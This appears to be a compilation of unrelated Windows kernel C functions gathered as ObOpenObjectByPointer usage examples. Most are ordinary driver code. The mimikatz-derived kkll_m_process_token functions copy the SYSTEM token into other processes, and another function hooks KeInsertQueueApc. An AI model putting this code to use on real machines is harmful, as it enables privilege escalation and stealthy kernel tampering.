// Clone of user mode API, again.... // (May be changed if PEB or PROCESS_PARAMETER struct change !!!) PWSTR GetEnvironmentStrings(){ PROCESS_BASIC_INFORMATION pbi; PVOID p; PWSTR env; HANDLE hCurProcess; //FIX ME!! No power for making code to check env block length :)) ULONG envSize=PAGE_SIZE; p=PsGetCurrentProcess(); ObOpenObjectByPointer(p,0,NULL,0,NULL,KernelMode,&hCurProcess); UtilsZwRoutine(ZWQUERY_INFORMATION_PROCESS_INDEX,hCurProcess,ProcessBasicInformation, &pbi,sizeof(pbi),0); // Get pointer to current process, "process parameters" UtilsZwRoutine(ZWREAD_VIRTUAL_MEMORY_INDEX,hCurProcess,(PCHAR)pbi.PebBaseAddress+0x10,&p,sizeof(p),0); // Get pointer Environment block... UtilsZwRoutine(ZWREAD_VIRTUAL_MEMORY_INDEX,hCurProcess,(PCHAR)p+0x48,&p,sizeof(p),0); env=ExAllocatePool(NonPagedPool,envSize); // Get pointer Environment block... UtilsZwRoutine(ZWREAD_VIRTUAL_MEMORY_INDEX,hCurProcess,p,env,envSize,0); ZwClose(hCurProcess); return env; }
STATUS CreateFoo( ULONG value, PHANDLE Handle ) { STATUS status; PFOO foo; // // create a foo object // status = ObCreateObject(fooType, 0, sizeof(FOO), &foo); if (status == STATUS_SUCCESS) { // // initialize the object // foo->value = value; // // create a handle to the object // status = ObOpenObjectByPointer(foo, OBJ_INHERIT, fooType, Handle); // // we don't need the RAW pointer anymore, so dereference it // ObDereferenceObject(foo); return status; } return status; }
NTSTATUS OpenProcess( IN ULONG uPID, OUT PHANDLE pHandle, IN ACCESS_MASK DesiredAccess) { NTSTATUS rtStatus = STATUS_SUCCESS; PEPROCESS pEProcess = NULL; HANDLE hTagProcess = NULL; PULONG uPsProcessType = 0; UNICODE_STRING StrType; rtStatus = PsLookupProcessByProcessId((HANDLE)uPID, &pEProcess); if (NT_SUCCESS(rtStatus)) { RtlInitUnicodeString(&StrType, L"PsProcessType"); uPsProcessType = (PULONG)MmGetSystemRoutineAddress(&StrType); if (uPsProcessType) { rtStatus = ObOpenObjectByPointer(pEProcess, 0, 0, DesiredAccess, (POBJECT_TYPE)*uPsProcessType, UserMode, &hTagProcess); if (NT_SUCCESS(rtStatus)) { *pHandle = hTagProcess; } } ObfDereferenceObject(pEProcess); } return rtStatus; }
// This code will be very ugly, and im not realy give a damn VOID InformCsrss(HANDLE hProcess,HANDLE hThread,ULONG pid,ULONG tid){ CSRMSG csrmsg; HANDLE hCurProcess; ULONG handleIndex; PVOID p; p=PsGetCurrentProcess(); ObOpenObjectByPointer(p,0,NULL,0,NULL,KernelMode,&hCurProcess); // Get the index of the port handle, used to send messages to csrss. // FIX ME! find daynamic way to get this address. UtilsZwRoutine(ZWREAD_VIRTUAL_MEMORY_INDEX,hCurProcess,0x77fa8168,&handleIndex,sizeof(handleIndex),0); ZwClose(hCurProcess); RtlZeroMemory(&csrmsg,sizeof(CSRMSG)); csrmsg.ProcessInformation.hProcess=hProcess; csrmsg.ProcessInformation.hThread=hThread; csrmsg.ProcessInformation.dwProcessId=pid; csrmsg.ProcessInformation.dwThreadId=tid; csrmsg.PortMessage.MessageSize=0x4c; csrmsg.PortMessage.DataSize=0x34; csrmsg.CsrssMessage.Opcode=0x10000; UtilsZwRoutine(ZWREQUEST_WAIT_REPLY_PORT_INDEX,handleIndex,&csrmsg,&csrmsg); }
NTSTATUS BDKitGetProcessImageNameByEProcess_s( __in PEPROCESS EProcess, __out LPWSTR lpszImageName, __in ULONG Length ) { NTSTATUS nsStatus = STATUS_INVALID_PARAMETER; ULONG ReturnLength = 0; HANDLE hProcessHandle = NULL; PIMAGE_NAME_INFO pImageNameInfo = NULL; PEPROCESS pCurEProcess = NULL; do { BDKit_If_Not_Break_With_Reason(EProcess != NULL && lpszImageName != NULL && Length != 0, STATUS_INVALID_PARAMETER); pCurEProcess = EProcess; ObReferenceObject(pCurEProcess); nsStatus = ObOpenObjectByPointer( EProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_QUERY_INFORMATION, *PsProcessType, KernelMode, &hProcessHandle ); BDKit_If_Not_Break(NT_SUCCESS(nsStatus)); nsStatus = BDKitGetProcessInfo(hProcessHandle, ProcessImageFileName, &pImageNameInfo, &ReturnLength); BDKit_If_Not_Break(NT_SUCCESS(nsStatus)); BDKit_If_Not_Break_With_Reason(pImageNameInfo->Name.Length < Length, STATUS_INFO_LENGTH_MISMATCH); RtlCopyMemory(lpszImageName,pImageNameInfo->Name.Buffer,pImageNameInfo->Name.Length); nsStatus = STATUS_SUCCESS; } while (FALSE); BDKitFreePool(pImageNameInfo); BDKitCloseHandle(hProcessHandle); BDKitCloseObject(pCurEProcess); return nsStatus; }
// Largely based off of undelete.c from sysinternals BOOLEAN GetUserSIDFromProcess(EPROCESS *pProcess, UNICODE_STRING *pusSID) { NTSTATUS status; ULONG RetLen; HANDLE hToken; PTOKEN_USER tokenInfoBuffer; PACCESS_TOKEN Token; Token = PsReferencePrimaryToken(pProcess); status = ObOpenObjectByPointer(Token, 0, NULL, TOKEN_QUERY, NULL, KernelMode, &hToken); ObDereferenceObject(Token); if(!NT_SUCCESS(status)) return FALSE; // Get the size of the sid. status = ZwQueryInformationToken(hToken, TokenUser, NULL, 0, &RetLen); if(status != STATUS_BUFFER_TOO_SMALL) { ZwClose(hToken); return FALSE; } tokenInfoBuffer = (PTOKEN_USER)ExAllocatePoolWithTag(NonPagedPool, RetLen, HELPER_POOL_TAG); if(tokenInfoBuffer) status = ZwQueryInformationToken(hToken, TokenUser, tokenInfoBuffer, RetLen, &RetLen); if(!NT_SUCCESS(status) || !tokenInfoBuffer ) { DBGOUT(("Error getting token information: %x\n", status)); if(tokenInfoBuffer) ExFreePool(tokenInfoBuffer); ZwClose(hToken); return FALSE; } ZwClose(hToken); status = RtlConvertSidToUnicodeString(pusSID, tokenInfoBuffer->User.Sid, FALSE); ExFreePool(tokenInfoBuffer); if(!NT_SUCCESS(status)) { DBGOUT(("Unable to convert SID to UNICODE: %x\n", status )); return FALSE; } return TRUE; }
NTSTATUS kkll_m_process_token(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer) { NTSTATUS status = STATUS_SUCCESS; PMIMIDRV_PROCESS_TOKEN_FROM_TO pTokenFromTo = (PMIMIDRV_PROCESS_TOKEN_FROM_TO) bufferIn; ULONG fromProcessId, toProcessId; HANDLE hFromProcess, hFromProcessToken; PEPROCESS pFromProcess = PsInitialSystemProcess, pToProcess = NULL; if(pTokenFromTo && (szBufferIn == sizeof(MIMIDRV_PROCESS_TOKEN_FROM_TO))) { if(pTokenFromTo->fromProcessId) status = PsLookupProcessByProcessId((HANDLE) pTokenFromTo->fromProcessId, &pFromProcess); if(NT_SUCCESS(status) && pTokenFromTo->toProcessId) status = PsLookupProcessByProcessId((HANDLE) pTokenFromTo->toProcessId, &pToProcess); } if(NT_SUCCESS(status)) { status = ObOpenObjectByPointer(pFromProcess, OBJ_KERNEL_HANDLE, NULL, 0, *PsProcessType, KernelMode, &hFromProcess); if(NT_SUCCESS(status)) { status = ZwOpenProcessTokenEx(hFromProcess, 0, OBJ_KERNEL_HANDLE, &hFromProcessToken); if(NT_SUCCESS(status)) { status = kprintf(outBuffer, L"Token from %u/%-14S\n", PsGetProcessId(pFromProcess), PsGetProcessImageFileName(pFromProcess)); if(NT_SUCCESS(status)) { if(pToProcess) status = kkll_m_process_token_toProcess(szBufferIn, bufferIn, outBuffer, hFromProcessToken, pToProcess); else status = kkll_m_process_enum(szBufferIn, bufferIn, outBuffer, kkll_m_process_systoken_callback, hFromProcessToken); } ZwClose(hFromProcessToken); } ZwClose(hFromProcess); } } if(pToProcess) ObDereferenceObject(pToProcess); if(pFromProcess && (pFromProcess != PsInitialSystemProcess)) ObDereferenceObject(pFromProcess); return status; }
NTSTATUS NTAPI AfdBindSocket(PDEVICE_OBJECT DeviceObject, PIRP Irp, PIO_STACK_LOCATION IrpSp) { NTSTATUS Status = STATUS_SUCCESS; PFILE_OBJECT FileObject = IrpSp->FileObject; PAFD_FCB FCB = FileObject->FsContext; PAFD_BIND_DATA BindReq; HANDLE UserHandle = NULL; UNREFERENCED_PARAMETER(DeviceObject); AFD_DbgPrint(MID_TRACE,("Called\n")); if( !SocketAcquireStateLock( FCB ) ) return LostSocket( Irp ); if( !(BindReq = LockRequest( Irp, IrpSp, FALSE, NULL )) ) return UnlockAndMaybeComplete( FCB, STATUS_NO_MEMORY, Irp, 0 ); if( FCB->LocalAddress ) ExFreePool( FCB->LocalAddress ); FCB->LocalAddress = TaCopyTransportAddress( &BindReq->Address ); if( FCB->LocalAddress ) Status = TdiBuildConnectionInfo( &FCB->AddressFrom, FCB->LocalAddress ); if( NT_SUCCESS(Status) ) Status = WarmSocketForBind( FCB, BindReq->ShareType ); AFD_DbgPrint(MID_TRACE,("FCB->Flags %x\n", FCB->Flags)); if (NT_SUCCESS(Status)) { Status = ObOpenObjectByPointer(FCB->AddressFile.Object, 0, NULL, MAXIMUM_ALLOWED, *IoFileObjectType, Irp->RequestorMode, &UserHandle); if (NT_SUCCESS(Status)) FCB->State = SOCKET_STATE_BOUND; } /* MSAFD relies on us returning the address file handle in the IOSB */ return UnlockAndMaybeComplete( FCB, Status, Irp, (ULONG_PTR)UserHandle); }
NTSTATUS FspFsvolSetSecurityPrepare( PIRP Irp, FSP_FSCTL_TRANSACT_REQ *Request) { PAGED_CODE(); NTSTATUS Result; SECURITY_SUBJECT_CONTEXT SecuritySubjectContext; SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; SECURITY_CLIENT_CONTEXT SecurityClientContext; HANDLE UserModeAccessToken; PEPROCESS Process; /* duplicate the subject context access token into an impersonation token */ SecurityQualityOfService.Length = sizeof SecurityQualityOfService; SecurityQualityOfService.ImpersonationLevel = SecurityIdentification; SecurityQualityOfService.ContextTrackingMode = SECURITY_STATIC_TRACKING; SecurityQualityOfService.EffectiveOnly = FALSE; SeCaptureSubjectContext(&SecuritySubjectContext); SeLockSubjectContext(&SecuritySubjectContext); Result = SeCreateClientSecurityFromSubjectContext(&SecuritySubjectContext, &SecurityQualityOfService, FALSE, &SecurityClientContext); SeUnlockSubjectContext(&SecuritySubjectContext); SeReleaseSubjectContext(&SecuritySubjectContext); if (!NT_SUCCESS(Result)) return Result; ASSERT(TokenImpersonation == SeTokenType(SecurityClientContext.ClientToken)); /* get a user-mode handle to the impersonation token */ Result = ObOpenObjectByPointer(SecurityClientContext.ClientToken, 0, 0, TOKEN_QUERY, *SeTokenObjectType, UserMode, &UserModeAccessToken); SeDeleteClientSecurity(&SecurityClientContext); if (!NT_SUCCESS(Result)) return Result; /* get a pointer to the current process so that we can close the impersonation token later */ Process = PsGetCurrentProcess(); ObReferenceObject(Process); /* send the user-mode handle to the user-mode file system */ FspIopRequestContext(Request, RequestAccessToken) = UserModeAccessToken; FspIopRequestContext(Request, RequestProcess) = Process; Request->Req.SetSecurity.AccessToken = (UINT_PTR)UserModeAccessToken; return STATUS_SUCCESS; }
NTSTATUS BDKitTerminateProcessByAPI( __in PEPROCESS EProcess, __in ULONG ExitCode ) { NTSTATUS nsStatus = STATUS_UNSUCCESSFUL; HANDLE hProcess = NULL; BOOLEAN bAttach = FALSE; KAPC_STATE kApcState = {0x00}; do { if ( bAttach == TRUE ) { _KeStackAttachProcess ((PKPROCESS)EProcess, &kApcState); nsStatus = ZwTerminateProcess (0, STATUS_SUCCESS); } else { nsStatus = ObOpenObjectByPointer ( EProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, NULL, KernelMode, &hProcess ); BDKit_If_Not_Break(NT_SUCCESS(nsStatus)); nsStatus = ZwTerminateProcess (hProcess, ExitCode); } BDKit_If_Not_Break(NT_SUCCESS(nsStatus)); } while (FALSE); if ( IsKernelHandle(hProcess, KernelMode) ) { BDKitCloseHandle(hProcess); } //BDKitCloseObject(EProcess); return nsStatus; }
NTSTATUS kkll_m_process_token_toProcess(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer, HANDLE hSrcToken, PEPROCESS pToProcess) { PROCESS_ACCESS_TOKEN ProcessTokenInformation = {NULL, NULL}; HANDLE hToProcess; PULONG pFlags2 = NULL; NTSTATUS status; HANDLE processId = PsGetProcessId(pToProcess); PCHAR processName = PsGetProcessImageFileName(pToProcess); status = ObOpenObjectByPointer(pToProcess, OBJ_KERNEL_HANDLE, NULL, 0, *PsProcessType, KernelMode, &hToProcess); if(NT_SUCCESS(status)) { status = ZwDuplicateToken(hSrcToken, 0, NULL, FALSE, TokenPrimary, &ProcessTokenInformation.Token); if(NT_SUCCESS(status)) { if(KiwiOsIndex >= KiwiOsIndex_VISTA) { pFlags2 = (PULONG) (((ULONG_PTR) pToProcess) + EPROCESS_OffSetTable[KiwiOsIndex][EprocessFlags2]); if(*pFlags2 & TOKEN_FROZEN_MASK) *pFlags2 &= ~TOKEN_FROZEN_MASK; else pFlags2 = NULL; } status = ZwSetInformationProcess(hToProcess, ProcessAccessToken, &ProcessTokenInformation, sizeof(PROCESS_ACCESS_TOKEN)); if(NT_SUCCESS(status)) status = kprintf(outBuffer, L" * to %u/%-14S\n", processId, processName); else status = kprintf(outBuffer, L" ! ZwSetInformationProcess 0x%08x for %u/%-14S\n", status, processId, processName); if((KiwiOsIndex >= KiwiOsIndex_VISTA) && pFlags2) *pFlags2 |= TOKEN_FROZEN_MASK; ZwClose(ProcessTokenInformation.Token); } ZwClose(hToProcess); } return status; }
NTSTATUS DokanGetAccessToken( __in PDEVICE_OBJECT DeviceObject, __in PIRP Irp ) { KIRQL oldIrql; PLIST_ENTRY thisEntry, nextEntry, listHead; PIRP_ENTRY irpEntry; PDokanVCB vcb; PEVENT_INFORMATION eventInfo; PACCESS_TOKEN accessToken; NTSTATUS status = STATUS_INVALID_PARAMETER; HANDLE handle; PIO_STACK_LOCATION irpSp = NULL; BOOLEAN hasLock = FALSE; ULONG outBufferLen; ULONG inBufferLen; PACCESS_STATE accessState; DDbgPrint("==> DokanGetAccessToken\n"); __try { eventInfo = (PEVENT_INFORMATION)Irp->AssociatedIrp.SystemBuffer; ASSERT(eventInfo != NULL); if (Irp->RequestorMode != UserMode) { DDbgPrint(" needs to be called from user-mode\n"); status = STATUS_INVALID_PARAMETER; __leave; } vcb = DeviceObject->DeviceExtension; if (GetIdentifierType(vcb) != VCB) { DDbgPrint(" GetIdentifierType != VCB\n"); status = STATUS_INVALID_PARAMETER; __leave; } irpSp = IoGetCurrentIrpStackLocation(Irp); outBufferLen = irpSp->Parameters.DeviceIoControl.OutputBufferLength; inBufferLen = irpSp->Parameters.DeviceIoControl.InputBufferLength; if (outBufferLen != sizeof(EVENT_INFORMATION) || inBufferLen != sizeof(EVENT_INFORMATION)) { DDbgPrint(" wrong input or output buffer length\n"); status = STATUS_INVALID_PARAMETER; __leave; } ASSERT(KeGetCurrentIrql() <= DISPATCH_LEVEL); KeAcquireSpinLock(&vcb->Dcb->PendingIrp.ListLock, &oldIrql); hasLock = TRUE; // search corresponding IRP through pending IRP list listHead = &vcb->Dcb->PendingIrp.ListHead; for (thisEntry = listHead->Flink; thisEntry != listHead; thisEntry = nextEntry) { nextEntry = thisEntry->Flink; irpEntry = CONTAINING_RECORD(thisEntry, IRP_ENTRY, ListEntry); if (irpEntry->SerialNumber != eventInfo->SerialNumber) { continue; } // this irp must be IRP_MJ_CREATE if (irpEntry->IrpSp->Parameters.Create.SecurityContext) { accessState = irpEntry->IrpSp->Parameters.Create.SecurityContext->AccessState; } break; } KeReleaseSpinLock(&vcb->Dcb->PendingIrp.ListLock, oldIrql); hasLock = FALSE; if (accessState == NULL) { DDbgPrint(" can't find pending Irp: %d\n", eventInfo->SerialNumber); __leave; } accessToken = SeQuerySubjectContextToken(&accessState->SubjectSecurityContext); if (accessToken == NULL) { DDbgPrint(" accessToken == NULL\n"); __leave; } // NOTE: Accessing *SeTokenObjectType while acquring sping lock causes // BSOD on Windows XP. status = ObOpenObjectByPointer(accessToken, 0, NULL, GENERIC_ALL, *SeTokenObjectType, KernelMode, &handle); if (!NT_SUCCESS(status)) { DDbgPrint(" ObOpenObjectByPointer failed: 0x%x\n", status); __leave; } eventInfo->AccessToken.Handle = handle; Irp->IoStatus.Information = sizeof(EVENT_INFORMATION); status = STATUS_SUCCESS; } __finally { if (hasLock) { KeReleaseSpinLock(&vcb->Dcb->PendingIrp.ListLock, oldIrql); } } DDbgPrint("<== DokanGetAccessToken\n"); return status; }
//这个函数主要用于确定线程结束时的APC参数 //由于实现关系, ThreadHandle/Thread必须为有效的非系统线程句柄/指针 //Handle 为TRUE时使用ThreadHandle // 为FALSE使用Thread BOOLEAN EnviromentSpecialInitialize(HANDLE ThreadHandle, PVOID Thread, BOOLEAN Handle) { BOOLEAN retVal; PETHREAD thread; NTSTATUS status; KPROCESSOR_MODE previousMode; //已经初始化了 if(PsExitSpecialApc || PspExitApcRundown || PspExitNormalApc) { return TRUE; } if(Handle) { status = ObReferenceObjectByHandle(ThreadHandle, THREAD_TERMINATE, *PsThreadType, KernelMode, &thread, NULL); if(!NT_SUCCESS(status)) return FALSE; ObDereferenceObject(thread); } else { thread = Thread; status = ObOpenObjectByPointer(Thread, OBJ_KERNEL_HANDLE, NULL, 0, *PsThreadType, KernelMode, &ThreadHandle); if(!NT_SUCCESS(status)) return FALSE; } EThreadForGetApc = thread; retVal = HookFunction(KeInsertQueueApc, FakeKeInsertQueueApc, KeInsertQueueApcJumpBack); if(!retVal) { EThreadForGetApc = NULL; return retVal; } previousMode = SetCurrentThreadProcessorMode(KernelMode); NtTerminateThread(ThreadHandle, 0x12345678); SetCurrentThreadProcessorMode(previousMode); if(!Handle) ZwClose(ThreadHandle); return TRUE; }
NTSTATUS GetProcessImageName(HANDLE processId, PUNICODE_STRING ProcessImageName) { NTSTATUS status; ULONG returnedLength; ULONG bufferLength; HANDLE hProcess; PVOID buffer; PEPROCESS eProcess; PUNICODE_STRING imageName; PAGED_CODE(); // this eliminates the possibility of the IDLE Thread/Process status = PsLookupProcessByProcessId(processId, &eProcess); if(NT_SUCCESS(status)) { status = ObOpenObjectByPointer(eProcess,0, NULL, 0,0,KernelMode,&hProcess); if(NT_SUCCESS(status)) { } else { DbgPrint("ObOpenObjectByPointer Failed: %08x\n", status); } ObDereferenceObject(eProcess); } else { DbgPrint("PsLookupProcessByProcessId Failed: %08x\n", status); } if (NULL == ZwQueryInformationProcess) { UNICODE_STRING routineName; RtlInitUnicodeString(&routineName, L"ZwQueryInformationProcess"); ZwQueryInformationProcess = (QUERY_INFO_PROCESS) MmGetSystemRoutineAddress(&routineName); if (NULL == ZwQueryInformationProcess) { DbgPrint("Cannot resolve ZwQueryInformationProcess\n"); } } /* Query the actual size of the process path */ status = ZwQueryInformationProcess( hProcess, ProcessImageFileName, NULL, // buffer 0, // buffer size &returnedLength); if (STATUS_INFO_LENGTH_MISMATCH != status) { return status; } /* Check there is enough space to store the actual process path when it is found. If not return an error with the required size */ bufferLength = returnedLength - sizeof(UNICODE_STRING); if (ProcessImageName->MaximumLength < bufferLength) { ProcessImageName->MaximumLength = (USHORT) bufferLength; return STATUS_BUFFER_OVERFLOW; } /* Allocate a temporary buffer to store the path name */ buffer = ExAllocatePoolWithTag(NonPagedPool, returnedLength, PROCESS_POOL_TAG); if (NULL == buffer) { return STATUS_INSUFFICIENT_RESOURCES; } /* Retrieve the process path from the handle to the process */ status = ZwQueryInformationProcess( hProcess, ProcessImageFileName, buffer, returnedLength, &returnedLength); if (NT_SUCCESS(status)) { /* Copy the path name */ imageName = (PUNICODE_STRING) buffer; RtlCopyUnicodeString(ProcessImageName, imageName); } /* Free the temp buffer which stored the path */ ExFreePoolWithTag(buffer, PROCESS_POOL_TAG); return status; }
BOOLEAN obtest( void ) { ULONG i; HANDLE Handles[ 2 ]; NTSTATUS Status; OBJECT_TYPE_INITIALIZER ObjectTypeInitializer; ObpDumpObjectTable( ObpGetObjectTable(), NULL ); RtlInitString( &ObjectTypeAName, "ObjectTypeA" ); RtlInitString( &ObjectTypeBName, "ObjectTypeB" ); RtlZeroMemory( &ObjectTypeInitializer, sizeof( ObjectTypeInitializer ) ); ObjectTypeInitializer.Length = sizeof( ObjectTypeInitializer ); ObjectTypeInitializer.ValidAccessMask = -1; ObjectTypeInitializer.PoolType = NonPagedPool; ObjectTypeInitializer.MaintainHandleCount = TRUE; ObjectTypeInitializer.DumpProcedure = DumpAProc; ObjectTypeInitializer.OpenProcedure = OpenAProc; ObjectTypeInitializer.CloseProcedure = CloseAProc; ObjectTypeInitializer.DeleteProcedure = DeleteAProc; ObjectTypeInitializer.ParseProcedure = ParseAProc; ObCreateObjectType( &ObjectTypeAName, &ObjectTypeInitializer, (PSECURITY_DESCRIPTOR)NULL, &ObjectTypeA ); ObjectTypeInitializer.PoolType = NonPagedPool; ObjectTypeInitializer.MaintainHandleCount = FALSE; ObjectTypeInitializer.GenericMapping = MyGenericMapping; ObjectTypeInitializer.DumpProcedure = DumpBProc; ObjectTypeInitializer.OpenProcedure = NULL; ObjectTypeInitializer.CloseProcedure = NULL; ObjectTypeInitializer.DeleteProcedure = DeleteBProc; ObjectTypeInitializer.ParseProcedure = NULL; ObCreateObjectType( &ObjectTypeBName, &ObjectTypeInitializer, (PSECURITY_DESCRIPTOR)NULL, &ObjectTypeB ); ObpDumpTypes( NULL ); RtlInitString( &DirectoryName, "\\MyObjects" ); InitializeObjectAttributes( &DirectoryObjA, &DirectoryName, OBJ_PERMANENT | OBJ_CASE_INSENSITIVE, NULL, NULL ); NtCreateDirectoryObject( &DirectoryHandle, 0, &DirectoryObjA ); NtClose( DirectoryHandle ); RtlInitString( &ObjectAName, "\\myobjects\\ObjectA" ); InitializeObjectAttributes( &ObjectAObjA, &ObjectAName, OBJ_CASE_INSENSITIVE, NULL, NULL ); RtlInitString( &ObjectBName, "\\myobjects\\ObjectB" ); InitializeObjectAttributes( &ObjectBObjA, &ObjectBName, OBJ_CASE_INSENSITIVE, NULL, NULL ); Status = ObCreateObject( KernelMode, ObjectTypeA, &ObjectAObjA, KernelMode, NULL, (ULONG)sizeof( OBJECTTYPEA ), 0L, 0L, (PVOID *)&ObjectBodyA ); ObjectA = (POBJECTTYPEA)ObjectBodyA; ObjectA->TypeALength = sizeof( *ObjectA ); for (i=0; i<4; i++) { ObjectA->Stuff[i] = i+1; } KeInitializeEvent( &ObjectA->Event, NotificationEvent, TRUE ); Status = ObCreateObject( KernelMode, ObjectTypeB, &ObjectBObjA, KernelMode, NULL, (ULONG)sizeof( OBJECTTYPEB ), 0L, 0L, (PVOID *)&ObjectBodyB ); ObjectB = (POBJECTTYPEB)ObjectBodyB; ObjectB->TypeBLength = sizeof( *ObjectB ); for (i=0; i<16; i++) { ObjectB->Stuff[i] = i+1; } KeInitializeSemaphore ( &ObjectB->Semaphore, 2L, 2L ); Status = ObInsertObject( ObjectBodyA, SYNCHRONIZE | 0x3, NULL, 1, &ObjectBodyA, &ObjectHandleA1 ); DbgPrint( "Status: %lx ObjectBodyA: %lx ObjectHandleA1: %lx\n", Status, ObjectBodyA, ObjectHandleA1 ); Status = ObInsertObject( ObjectBodyB, SYNCHRONIZE | 0x1, NULL, 1, &ObjectBodyB, &ObjectHandleB1 ); DbgPrint( "Status: %lx ObjectBodyB: %lx ObjectHandleB1: %lx\n", Status, ObjectBodyB, ObjectHandleB1 ); ObpDumpObjectTable( ObpGetObjectTable(), NULL ); RtlInitString( &ObjectAName, "\\MyObjects\\ObjectA" ); InitializeObjectAttributes( &ObjectAObjA, &ObjectAName, OBJ_OPENIF, NULL, NULL ); Status = ObCreateObject( KernelMode, ObjectTypeA, &ObjectAObjA, KernelMode, NULL, (ULONG)sizeof( OBJECTTYPEA ), 0L, 0L, (PVOID *)&ObjectBodyA1 ); Status = ObInsertObject( ObjectBodyA1, SYNCHRONIZE | 0x3, NULL, 1, &ObjectBodyA2, &ObjectHandleA2 ); DbgPrint( "Status: %lx ObjectBodyA1: %lx ObjectBodyA2: %lx ObjectHandleA2: %lx\n", Status, ObjectBodyA1, ObjectBodyA2, ObjectHandleA2 ); ObpDumpObjectTable( ObpGetObjectTable(), NULL ); NtClose( ObjectHandleA2 ); ObDereferenceObject( ObjectBodyA2 ); // ObInsertObject,ObjectPointerBias NtWaitForSingleObject( ObjectHandleB1, TRUE, NULL ); Handles[ 0 ] = ObjectHandleA1; Handles[ 1 ] = ObjectHandleB1; NtWaitForMultipleObjects( 2, Handles, WaitAny, TRUE, NULL ); ObReferenceObjectByHandle( ObjectHandleA1, 0L, ObjectTypeA, KernelMode, &ObjectBodyA, NULL ); ObReferenceObjectByHandle( ObjectHandleB1, 0L, ObjectTypeB, KernelMode, &ObjectBodyB, NULL ); DbgPrint( "Reference Handle %lx = %lx\n", ObjectHandleA1, ObjectBodyA ); DbgPrint( "Reference Handle %lx = %lx\n", ObjectHandleB1, ObjectBodyB ); ObpDumpObjectTable( ObpGetObjectTable(), NULL ); ObReferenceObjectByPointer( ObjectBodyA, 0L, ObjectTypeA, KernelMode ); ObReferenceObjectByPointer( ObjectBodyB, 0L, ObjectTypeB, KernelMode ); ObpDumpObjectTable( ObpGetObjectTable(), NULL ); RtlInitString( &ObjectAPathName, "\\MyObjects\\ObjectA" ); RtlInitString( &ObjectBPathName, "\\MyObjects\\ObjectB" ); ObReferenceObjectByName( &ObjectAPathName, OBJ_CASE_INSENSITIVE, 0L, ObjectTypeA, KernelMode, NULL, &ObjectBodyA ); ObReferenceObjectByName( &ObjectBPathName, OBJ_CASE_INSENSITIVE, 0L, ObjectTypeB, KernelMode, NULL, &ObjectBodyB ); DbgPrint( "Reference Name %s = %lx\n", ObjectAPathName.Buffer, ObjectBodyA ); DbgPrint( "Reference Name %s = %lx\n", ObjectBPathName.Buffer, ObjectBodyB ); ObpDumpObjectTable( ObpGetObjectTable(), NULL ); ObDereferenceObject( ObjectBodyA ); // ObInsertObject,ObjectPointerBias ObDereferenceObject( ObjectBodyB ); ObDereferenceObject( ObjectBodyA ); // ObReferenceObjectByHandle ObDereferenceObject( ObjectBodyB ); ObDereferenceObject( ObjectBodyA ); // ObReferenceObjectByPointer ObDereferenceObject( ObjectBodyB ); ObDereferenceObject( ObjectBodyA ); // ObReferenceObjectByName ObDereferenceObject( ObjectBodyB ); ObpDumpObjectTable( ObpGetObjectTable(), NULL ); InitializeObjectAttributes( &ObjectAObjA, &ObjectAPathName, OBJ_CASE_INSENSITIVE, NULL, NULL ); ObOpenObjectByName( &ObjectAObjA, 0L, NULL, ObjectTypeA, KernelMode, NULL, &ObjectHandleA2 ); InitializeObjectAttributes( &ObjectBObjA, &ObjectBPathName, OBJ_CASE_INSENSITIVE, NULL, NULL ); ObOpenObjectByName( &ObjectBObjA, 0L, NULL, ObjectTypeB, KernelMode, NULL, &ObjectHandleB2 ); DbgPrint( "Open Object Name %s = %lx\n", ObjectAPathName.Buffer, ObjectHandleA2 ); DbgPrint( "Open Object Name %s = %lx\n", ObjectBPathName.Buffer, ObjectHandleB2 ); ObpDumpObjectTable( ObpGetObjectTable(), NULL ); NtClose( ObjectHandleA1 ); NtClose( ObjectHandleB1 ); ObpDumpObjectTable( ObpGetObjectTable(), NULL ); ObReferenceObjectByHandle( ObjectHandleA2, 0L, ObjectTypeA, KernelMode, &ObjectBodyA, NULL ); ObReferenceObjectByHandle( ObjectHandleB2, 0L, ObjectTypeB, KernelMode, &ObjectBodyB, NULL ); DbgPrint( "Reference Handle %lx = %lx\n", ObjectHandleA2, ObjectBodyA ); DbgPrint( "Reference Handle %lx = %lx\n", ObjectHandleB2, ObjectBodyB ); ObpDumpObjectTable( ObpGetObjectTable(), NULL ); ObOpenObjectByPointer( ObjectBodyA, OBJ_CASE_INSENSITIVE, 0L, NULL, ObjectTypeA, KernelMode, &ObjectHandleA1 ); ObOpenObjectByPointer( ObjectBodyB, OBJ_CASE_INSENSITIVE, 0L, NULL, ObjectTypeB, KernelMode, &ObjectHandleB1 ); DbgPrint( "Open Object Pointer %lx = %lx\n", ObjectBodyA, ObjectHandleA1 ); DbgPrint( "Open Object Pointer %lx = %lx\n", ObjectBodyB, ObjectHandleB1 ); ObpDumpObjectTable( ObpGetObjectTable(), NULL ); ObReferenceObjectByHandle( ObjectHandleA1, 0L, ObjectTypeA, KernelMode, &ObjectBodyA, NULL ); ObReferenceObjectByHandle( ObjectHandleB1, 0L, ObjectTypeB, KernelMode, &ObjectBodyB, NULL ); DbgPrint( "Reference Handle %lx = %lx\n", ObjectHandleA1, ObjectBodyA ); DbgPrint( "Reference Handle %lx = %lx\n", ObjectHandleB1, ObjectBodyB ); ObpDumpObjectTable( ObpGetObjectTable(), NULL ); ObDereferenceObject( ObjectBodyA ); // ObReferenceObjectByHandle ObDereferenceObject( ObjectBodyB ); ObDereferenceObject( ObjectBodyA ); // ObReferenceObjectByHandle ObDereferenceObject( ObjectBodyB ); NtClose( ObjectHandleA1 ); NtClose( ObjectHandleB1 ); NtClose( ObjectHandleA2 ); NtClose( ObjectHandleB2 ); ObpDumpObjectTable( ObpGetObjectTable(), NULL ); TestFunction = NULL; return( TRUE ); }
